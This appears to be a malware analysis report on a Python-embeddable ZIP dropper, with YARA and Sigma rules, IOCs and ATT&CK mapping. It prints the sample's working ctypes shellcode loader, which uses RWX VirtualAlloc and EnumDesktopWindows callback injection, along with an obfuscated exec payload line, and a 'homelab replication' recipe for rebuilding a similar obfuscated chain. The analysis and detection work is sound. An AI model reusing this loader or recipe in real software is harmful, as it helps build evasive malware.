89dd9159d7d1186f24c977854f9c4b89f6c608e5b1c5848aca574918e2d24d70unattributed: 89dd9159 — Python 3.13 embeddable runtime dropper with EnumDesktopWindows shellcode callback injection
Executive Summary
A 13.2 MB ZIP archive bundling a full Python 3.13 embeddable Windows runtime. The entry script mbt3h2b4si.py is obfuscated through four layers (getattr/__builtins__ indirection → Caesar-4 character shift → ~...~ delimiter stripping → base64+zlib) to reach a 683-byte stage-3 payload. That payload allocates RWX memory, copies the entire 2.4 MB mbt3h2b4si file into it, and jumps to offset 0x23CC4E (2347406) via user32!EnumDesktopWindows callback injection. The region from that offset to the next plausible header is 93,778 bytes of high-entropy (≈7.97) data — likely an encrypted or packed final payload. No C2 indicators, no VM checks, no persistence mechanisms were recovered statically. CAPE skipped the sample as a non-executable archive.
What It Is
- Container: ZIP archive, 13,280,119 bytes, deflate-compressed ^[file.txt]
- Runtime: Python 3.13.0 embeddable ( Apr 2026 build),
pythonw.exe+python313.dll+ standard library.pycfiles ^[binwalk.txt] - Entry script:
mbt3h2b4si.py, 28,013 bytes, compiled May 23 2026 ^[binwalk.txt] - Payload file:
mbt3h2b4si, 2,482,937 bytes — a second ZIP (store-compressed) containing a single entryWidgetsPlatformRuntime-ARM64.msix^[binwalk.txt] - WidgetService.exe: 944,690 bytes embedded in outer ZIP at offset
0x1D91A3, high entropy (≈7.99), no valid PE header ^[binwalk.txt] - Family: unattributed — no code-reuse, no linguistic clues, no infrastructure overlap with known clusters
How It Works
Stage 1 — Obfuscated Entry Script
mbt3h2b4si.py uses getattr(globals()['__builtins__'], ...) indirection with %c format decoding to hide every API name: exec, getattr, __import__, zlib.decompress, base64.b64decode, re.sub, chr, ord, join ^[mbt3h2b4si.py:1]. The actual payload string is a 26,743-byte literal that undergoes:
[::-1]reversal(ord(c) - 4) % 256Caesar shiftre.sub(r'~[^~]+~', '', ...)to strip 2,362 noise delimiters- Base64 decode → zlib decompress →
exec()
This yields deobfuscated.py (15,275 bytes) ^[deobfuscated.py:1].
Stage 2 — Dead-Code Python Wrapper
deobfuscated.py is heavily padded with junk: sum() loops over binary literals, while counters, hash(358)==hash(358) no-ops, and two do-nothing classes (_Adapter_A9E, _Service_E26) with random field names and trivial methods returning True or None ^[deobfuscated.py:1-80]. The only live code is at line 260:
def _tag_0000_84ilc(_buf_0000_lwo):
return __import__('zlib').decompress(__import__('base64').b64decode(_buf_0000_lwo[::-1]))
exec(_tag_0000_84ilc(b'pi9rG8Swf7fBQEw9ze5wMNmddfMrpOiVAEfnPLPuay9afPEC9u4gsVbf+dH2Cnk4Whe1kPU8x7/InBo8X9QzzvgZ9Bewf6C+zoqBjPfVkZeAxvVK1PPtGUbnvGGTTkzQQL+cPeiN5bGlb09FtsFYWnlWxs+eVIBeCoOEAOU5o9JDZnC9U2DyG1XJdzGr1flikUMpALM84+/0vt6OSrK0zY8+Vp4Lu3VCGmDQmtluVNXj8XqtTfTyl6JB0mQynXxkdQSNe8zItxp+Tl/pKANNOh6rF1SROtBi1HEqEG2FQNKGY5WRmujNUAl4ApWkewMduDUJoPtP+d1o+uPgPckdA4/+XHNqqkAoccD2YD4EsE4KaJIY20bpFR7oEtsxm5xO7i0DqiKiPGzr/CpJYPY8YJJwIfctqE57tRVPKptaCQOIjeiFVMPvQAzgutsU9xJe'))
^[deobfuscated.py:260-261]
Stage 3 — Shellcode Loader
The final payload is 683 bytes of Python using ctypes:
import ctypes
from time import sleep
def SC_getPage(xxwaylqqa):
with open("mbt3h2b4si", "rb") as f:
data = f.read(2482937)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
addrPtr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), ctypes.c_int(2482937),
ctypes.c_int(0x3000), ctypes.c_int(0x40))
ctypes.memmove(addrPtr, data, 2482937)
return addrPtr + 2347406
def SC_exec(addrPtr):
ctypes.windll.user32.EnumDesktopWindows(
ctypes.c_void_p(0), ctypes.c_void_p(addrPtr), ctypes.c_long(0))
sleep(1)
def run():
sleep(20)
page = SC_getPage(b"")
if not page:
return
SC_exec(page)
run()
^[stage2.py:1]
Key behaviours:
VirtualAllocwithMEM_COMMIT|MEM_RESERVE(0x3000) andPAGE_EXECUTE_READWRITE(0x40) ^[stage2.py:8]- Copies the entire 2.4 MB
mbt3h2b4sifile into RWX memory ^[stage2.py:10] - Jumps to offset 2347406 (
0x23CC4E) viaEnumDesktopWindowscallback injection ^[stage2.py:14] - 20-second sleep before execution (simple anti-emulation) ^[stage2.py:18]
Stage 4 — Shellcode Region
The 93,778-byte region from offset 2347406 to the next archive boundary (2441184) has entropy ≈7.97 and shows no identifiable PE header, no import table, and no human-readable strings ^[shellcode.bin]. The MZ sequence at offset 2441184 is a random byte collision — the subsequent e_lfanew field (0x48FD5B5B) points past EOF, confirming it is not a real DOS header ^[shellcode.bin].
The mbt3h2b4si file itself is a ZIP containing one entry (WidgetsPlatformRuntime-ARM64.msix, 2,482,874 bytes) that 7-Zip reports as "unexpected end of archive" ^[binwalk.txt]. The 944,690-byte WidgetService.exe extracted from the outer ZIP is also high-entropy (≈7.99) with no valid PE header. Both appear to be encrypted payloads waiting for runtime decryption by the shellcode.
C2 Infrastructure
None recovered. No URLs, IPs, domains, mutexes, named pipes, or registry keys were found in any of the four decoded layers. The final payload is either:
- Fully offline (e.g., a wiper or ransomware with embedded key)
- Receiving C2 via runtime-decrypted config inside the shellcode region
- Using DGA or hardcoded values only visible under dynamic execution
Interesting Tidbits
- No anti-analysis at all. No VM checks, no debug checks, no timing gates beyond the 20-second sleep. The authors relied entirely on obfuscation depth rather than environmental gating.
- Legitimate runtime abuse. The Python 3.13 embeddable distribution is a genuine build from python.org (timestamp Apr 7 2026, linker 14.44). The threat actor is abusing trusted open-source infrastructure to carry malicious logic.
- Nested ZIP in ZIP.
mbt3h2b4siis a ZIP-within-a-ZIP containing a single.msixfile. The.msixextension is a red herring — the data is truncated/corrupt and does not parse as a valid MSIX/AppX package. - WidgetService masquerade. The embedded
WidgetService.exeandWidgetsPlatformRuntime-ARM64.msixnames suggest an attempt to blend in with Windows widget/platform runtime telemetry. - EnumDesktopWindows abuse. Using a benign window-enumeration API as a callback trampoline is an old but effective technique for executing shellcode without
CreateThreadorVirtualProtecttelemetry.
How To Mess With It (Homelab Replication)
Goal: Reproduce a comparable multi-layer Python obfuscation + callback injection chain.
Toolchain:
- Python 3.13 embeddable for Windows (download from python.org)
- Any Windows VM with Python +
ctypes
Recipe:
- Write a simple
ctypesshellcode loader (seestage2.pyabove). - Wrap it in dead-code classes and binary-literal loops to inflate file size.
- Encode the wrapper with:
zlib.compress(base64.b64encode(payload[::-1])). - Write an outer script that reverses, shifts, and strips noise delimiters before decompressing.
- Bundle everything into a ZIP with
pythonw.exe,python313.dll, and the standard library.
Verification:
- Run
python mbt3h2b4si.pyon a Windows VM with ProcMon open. - Observe
pythonw.exe→VirtualAllocwithProtect=PAGE_EXECUTE_READWRITE→EnumDesktopWindows. - Compare your telemetry to the behavioural fingerprint below.
Deployable Signatures
YARA Rule
rule python_embeddable_enumdesktopwindows_dropper {
meta:
description = "Python embeddable runtime dropper with EnumDesktopWindows callback injection"
author = "PacketPursuit"
date = "2026-07-16"
hash = "89dd9159d7d1186f24c977854f9c4b89f6c608e5b1c5848aca574918e2d24d70"
strings:
$pyw = "pythonw.exe" ascii wide
$py313 = "python313.dll" ascii wide
$entry = "mbt3h2b4si.py" ascii wide
$va_rwx = { 63 74 79 70 65 73 2e 77 69 6e 64 6c 6c 2e 6b 65 72 6e 65 6c 33 32 2e 56 69 72 74 75 61 6c 41 6c 6c 6f 63 }
$edw = { 63 74 79 70 65 73 2e 77 69 6e 64 6c 6c 2e 75 73 65 72 33 32 2e 45 6e 75 6d 44 65 73 6b 74 6f 70 57 69 6e 64 6f 77 73 }
$memmove = { 63 74 79 70 65 73 2e 6d 65 6d 6d 6f 76 65 }
$offset = "addrPtr + 2347406" ascii
$sleep20 = "sleep(20)" ascii
condition:
filesize > 10MB and
$pyw and $py313 and
any of ($va_rwx, $edw, $memmove) and
any of ($offset, $sleep20)
}
Sigma Rule
title: Python Embeddable Runtime with EnumDesktopWindows Shellcode Injection
logsource:
product: windows
category: process_creation
detection:
selection:
CommandLine|contains:
- 'pythonw.exe'
- 'mbt3h2b4si.py'
selection_mem:
- CallTrace|contains: 'VirtualAlloc'
- GrantedAccess|contains: '0x40'
selection_callback:
- CallTrace|contains: 'EnumDesktopWindows'
condition: selection and (selection_mem or selection_callback)
falsepositives:
- Legitimate Python applications using ctypes for low-level operations
level: high
IOC List
| Artifact | Value | Notes |
|---|---|---|
| SHA-256 (outer ZIP) | 89dd9159d7d1186f24c977854f9c4b89f6c608e5b1c5848aca574918e2d24d70 |
Container |
| SHA-256 (entry script) | 80f0c60b2957949c8f94d51a298fa7c5968ca787d9711e86453f89655f4dcaee |
mbt3h2b4si.py |
| SHA-256 (stage 2) | a5fbbf9ec61819410e07e01a876c3a898c5ee2998a96be38e7acb823e9249555 |
deobfuscated.py |
| SHA-256 (stage 3) | 102de0cdedbebe7a1b11c21915726d86f5fcacb3f3db0bd5a4317935cf6699e1 |
stage2.py |
| SHA-256 (shellcode region) | 68d24544a361c987804ed9fc876535ecb02d702b74f87b812a8da0b5f9fdef8f |
93,778 bytes |
| SHA-256 (WidgetService.exe) | 8423432527076d6f6ba5493f57728d37667e4f78fe6ca42dd7462240a5aa4802 |
944,690 bytes, encrypted |
| File name | mbt3h2b4si.py |
Entry script |
| File name | mbt3h2b4si |
Payload ZIP (no extension) |
| File name | WidgetService.exe |
Embedded encrypted payload |
| File name | WidgetsPlatformRuntime-ARM64.msix |
Nested ZIP entry (truncated) |
| API | kernel32.VirtualAlloc |
RWX allocation |
| API | user32.EnumDesktopWindows |
Callback injection trampoline |
| API | msvcrt.memmove |
In-memory payload copy |
| Offset | 0x23CC4E (2347406) |
Shellcode entry point inside mbt3h2b4si |
| Sleep | 20 seconds | Anti-emulation delay |
Behavioural Fingerprint
This sample launches as a legitimate Python 3.13 embeddable runtime (pythonw.exe) from a ZIP-extracted directory. Within ~20 seconds of process start, it calls VirtualAlloc with PAGE_EXECUTE_READWRITE for a buffer sized to exactly 2,482,937 bytes (the size of companion file mbt3h2b4si), copies the entire file into that buffer, then calls EnumDesktopWindows with a callback address pointing to offset 0x23CC4E inside the allocated region. No disk writes, no registry modifications, and no network connections are observable from the Python layer; all threat logic is assumed to reside in the encrypted shellcode region accessed via the callback.
Detection Signatures
| capa rule | ATT&CK mapping | Evidence |
|---|---|---|
| N/A — capa rejected ZIP input | — | ^[capa.txt] |
Static capability inference from decoded layers:
| Behaviour | MITRE ATT&CK | Evidence |
|---|---|---|
| Execution via Python interpreter | T1059.006 | pythonw.exe + mbt3h2b4si.py ^[binwalk.txt] |
| Process injection via callback | T1055.012 | EnumDesktopWindows callback to RWX memory ^[stage2.py:14] |
| Allocate RWX memory | T1055 | VirtualAlloc(0x3000, 0x40) ^[stage2.py:8] |
| Data obfuscation (multi-layer) | T1027 | Caesar-4 + delimiter strip + b64 + zlib ^[mbt3h2b4si.py:1] |
| Delay execution | T1497.003 | sleep(20) ^[stage2.py:18] |
| Masquerading (WidgetService) | T1036 | WidgetService.exe, WidgetsPlatformRuntime-ARM64.msix ^[binwalk.txt] |
References
- SHA-256:
89dd9159d7d1186f24c977854f9c4b89f6c608e5b1c5848aca574918e2d24d70 - Artifact ID:
a5d9ba7d-3fec-43e2-8f64-f2b59a4e0352 - Related wiki pages:
- unattributed — umbrella entity for low-confidence singletons
- python-embeddable-callback-injection — technique page for this specific pattern
- python-packed-payload — broader concept of Python logic hidden inside PE/script carriers
Provenance
- Outer container analysed with
file(Zip archive, deflate) ^[file.txt] - Embedded files catalogued with
binwalk^[binwalk.txt] mbt3h2b4si.pydeobfuscated manually:unicode_escape→ reverse →(ord(c)-4)%256→re.sub(r'~[^~]+~','',...)→ base64 → zlib →deobfuscated.pydeobfuscated.pydecoded via_tag_0000_84ilc(reverse → base64 → zlib) →stage2.py- Shellcode region carved at offset 2347406, length 93778 bytes
WidgetService.execarved from outer ZIP at offset 0x1D91A3- Entropy calculated with Shannon formula
pythonw.exeandpython313.dllverified as standard Python 3.13.0 embeddable distribution (authenticode not present, but timestamps and linker version match python.org builds)- capa v7.0.1 rejected input as unsupported format ^[capa.txt]
- CAPE skipped detonation: "file type Zip archive ... is not a supported binary class" ^[dynamic-analysis.md]